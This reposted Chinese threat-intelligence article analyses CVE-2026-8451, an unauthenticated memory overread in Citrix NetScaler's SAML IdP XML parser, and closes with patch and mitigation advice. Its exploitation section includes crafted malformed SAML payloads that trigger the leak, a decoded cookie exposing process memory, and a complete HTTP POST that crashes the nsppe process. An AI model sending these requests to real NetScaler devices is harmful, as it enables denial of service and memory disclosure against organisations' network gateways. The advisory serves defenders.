CitrixNetScaler再曝8.8分0day,XML解析器成内鬼

admin 2026-07-06 05:00:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CitrixNetScaler近日披露高危0day漏洞CVE-2026-8451,CVSS评分8.8。该漏洞源于设备自研XML解析器在处理SAMLAuthnRequest时存在输入验证不足与边界检查缺失,导致内存越界读取。攻击者无需认证即可通过构造特制SAML请求触发该漏洞,造成包含进程指针等敏感信息的内存泄露或导致服务拒绝。该漏洞可被用作内存地址泄露原语,配合其他漏洞可能实现完整接管。建议受影响企业立即将NetScalerADC或Gateway升级至安全版本,若不使用SAMLIDP功能则直接禁用,并排查相关日志。 综合评分: 93 文章分类: 漏洞分析,漏洞预警,威胁情报,解决方案


cover_image

Citrix NetScaler再曝8.8分0day,XML解析器成内鬼

原创

威胁情报中心 威胁情报中心

奇安信威胁情报中心

2026年7月1日 19:00 四川

在小说阅读器读本章

去阅读

引言:没完没了的”出血”

如果你对 Citrix NetScaler 这个名字还有印象,那你一定记得 “CitrixBleed”——这个原本指代单个漏洞的名称,如今已经演变成一整个漏洞家族的代名词。CVE-2023-4966、CVE-2025-5777、CVE-2025-12101、CVE-2026-3055……内存披露类漏洞在 NetScaler 设备上反复出现,似乎已经成了”传统”。

2026年3月,watchTowr 在分析 CVE-2026-3055 补丁时,又一次意外发现了新的内存越界读取问题。Citrix 于6月30日正式披露并修复了这个零日漏洞——CVE-2026-8451,CVSS 评分 8.8

这一次,watchTowr 给它起了个恰如其分的名字:”CitrixBleed To Infinity And Beyond”。

漏洞背景:谁受影响?

CVE-2026-8451 被 Citrix 描述为”输入验证不足导致的内存越界读取”。与此前几个 CitrixBleed 漏洞类似,该漏洞的利用有一个前提条件:NetScaler 设备必须配置为 SAML IDP(身份提供者)

受影响版本:

| 产品 | 受影响版本 | | — | — | | NetScaler ADC / Gateway 14.1 | 低于 14.1-72.61 | | NetScaler ADC / Gateway 13.1 | 低于 13.1-63.18 | | NetScaler ADC FIPS 14.1 | 低于 14.1-72.61 FIPS | | NetScaler ADC FIPS / NDcPP 13.1 | 低于 13.1-37.272 |

#

漏洞分析:XML 解析器的”老毛病”

攻击入口:/saml/login

当 NetScaler 作为 SAML IdP 时,/saml/login 端点负责接收客户端提交的 base64 编码 SAML AuthnRequest。这个 XML 文档中包含 issuer、destination、AssertionConsumerServiceURL 等关键属性。

问题出在 NetScaler 自研的 XML 属性解析器上。以下是其解析 foo="bar" 这类属性的核心代码逻辑:

cursor = <字符串输入>// 查找属性值的起始位置for&nbsp;(lookahead = ...; ; lookahead++) {&nbsp; &nbsp; ch = *cursor;&nbsp; &nbsp;&nbsp;if&nbsp;(ch >&nbsp;'=')&nbsp;break;&nbsp; &nbsp;&nbsp;if&nbsp;(ch ==&nbsp;'=') {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找到等号,继续查找值起始&nbsp; &nbsp; &nbsp; &nbsp; cursor = lookahead;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp; cursor++;}
// 判断引号类型(单引号/双引号/无引号)if&nbsp;(ch ==&nbsp;'\''&nbsp;|| ch ==&nbsp;'"') {&nbsp; &nbsp; terminator = ch; &nbsp; &nbsp; &nbsp;&nbsp;// 有引号:以匹配引号终止&nbsp; &nbsp; first = *++cursor;}&nbsp;else&nbsp;{&nbsp; &nbsp; terminator =&nbsp;' '; &nbsp; &nbsp; &nbsp;&nbsp;// 无引号:以空格终止(实际上不是)&nbsp; &nbsp; first = ch;}
// 扫描属性值scanPos = cursor;while&nbsp;(first !=&nbsp;'\0'&nbsp;&& first !=&nbsp;'>') {&nbsp; &nbsp; scanPos++;&nbsp; &nbsp; first = *scanPos;&nbsp; &nbsp;&nbsp;if&nbsp;(first == terminator)&nbsp;break;}
out->value_ptr = cursor; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 值起始指针out->value_len = scanPos - cursor;&nbsp;// 值长度

关键缺陷:换行符处理不一致

上述代码存在两个致命问题:

第一,无引号属性值的终止条件异常。

对于有引号的属性值(如 ID="abc"),解析器以匹配引号终止;但对于无引号的属性值,终止条件变成了空字节(\0)或右尖括号(>)——换行符、制表符等空白字符不会被识别为终止符

这意味着,如果构造这样的请求:

<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>

解析器会将 AssertionConsumerServiceURL 的值读成 11\nid=22,而不是正确的 11

第二,缺乏边界检查。

代码中没有对输入长度进行任何校验。当属性值没有被正确终止时,解析器会持续向后读取,越界访问请求缓冲区之外的内存

#

漏洞利用:从越界读取到内存泄露

第一步:确认越界行为

发送一个换行符终止的无引号属性值,观察日志:

AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, ...

可以看到 acs(AssertionConsumerServiceURL)的值被错误地解析为 11 id=22,证明换行符未被识别为终止符。

第二步:进一步”打开缺口”

NetScaler 的解析器还有一个”特性”:它对元素嵌套检查非常宽松。例如,下面这段结构完全错误的 XML 也能被接受:

<samlp:AuthnRequest<saml2:issuer>watchtowr</saml2:issuer></samlp:AuthnRequest>Version="2.0"id="11"AssertionConsumerServiceURL=

注意到最后一行的 AssertionConsumerServiceURL= 后面什么都没有——没有值,没有终止符。此时解析器会继续向后读取,越过请求缓冲区的边界,读取相邻内存中的任意数据

第三步:获取泄露的内存

NetScaler 会将解析出的属性值嵌入到返回的 NSC_TASS Cookie 中:

NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9...

解码后,可以看到泄露的内存内容:

00000000 &nbsp;61 73 64 66 00 49 44 3d &nbsp;26 62 69 6e 64 3d 70 6f &nbsp;|asdf.ID=&bind=po|00000010 &nbsp;73 74 26 41 43 53 55 52 &nbsp;4c 3d f0 0d 90 de de de &nbsp;|st&ACSURL=......|00000020 &nbsp;de de de de de de de de &nbsp;de de de de de de de de &nbsp;|................|...00000050 &nbsp;0c a1 35 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |..5.|

泄露的数据中包含了堆内存填充模式(0xdeadbeef)以及疑似有效进程指针0x00350ca1)。这意味着该漏洞不仅是一个信息泄露,还可以作为内存地址泄露原语(infoleak primitive),配合其他内存破坏漏洞实现完整设备接管。

拒绝服务:最简单的利用方式

如果目标只是证明漏洞影响,甚至不需要复杂的构造——以下请求即可可靠地使 nsppe 进程崩溃:

POST&nbsp;/saml/login&nbsp;HTTP/1.1Host:&nbsp;<target>Content-Length:&nbsp;46
SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D

影响评估

| 维度 | 说明 | | — | — | | 利用前提 | 需 NetScaler 配置为 SAML IDP | | 攻击向量 | 无需认证,向 /saml/login 发送恶意 SAMLRequest | | 信息泄露 | 可读取进程内存,可能包含指针、敏感配置等 | | 可用性影响 | 可触发服务崩溃(拒绝服务) | | 完整利用 | 可作为 infoleak 原语,配合其他漏洞实现 RCE |

#

修复建议

  1. 立即升级至安全版本:
  • 14.1 → 升级至 14.1-72.61 或更高
  • 13.1 → 升级至 13.1-63.18 或更高
  1. 临时缓解:如设备无需 SAML IDP 功能,禁用该配置。
  2. 检测与排查:检查 /var/log/ns.log 中是否存在异常的 SAML 解析日志,确认是否已被利用。

#

披露时间线

| 时间 | 事件 | | — | — | | 2026-03-28 | watchTowr 发现漏洞,通知 Citrix 及受影响客户 | | 2026-04-30 | watchTowr 请求更新 | | 2026-05-07 | Citrix 确认修复开发中 | | 2026-06-14 | Citrix 预计 6 月 29 日发布补丁 | | 2026-06-30 | Citrix 正式发布安全公告与补丁 | | 2026-06-30 | watchTowr 发布技术分析 |

#

结语

CitrixBleed 系列漏洞反复出现的核心原因,是 NetScaler 设备中内存管理实现持续脆弱——一个自研的 XML 解析器,在缺乏充分输入验证和边界检查的情况下,被部署在全球数以万计的关键网络入口处。

CVE-2026-8451 不是第一个,也很可能不是最后一个。对于运行 NetScaler 的企业而言,补丁管理不应只是被动的响应,而应当是持续的防御节奏。

参考链接

  • https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:奇安信威胁情报中心 威胁情报中心 威胁情报中心《Citrix NetScaler再曝8.8分0day,XML解析器成内鬼》

评论:0   参与:  0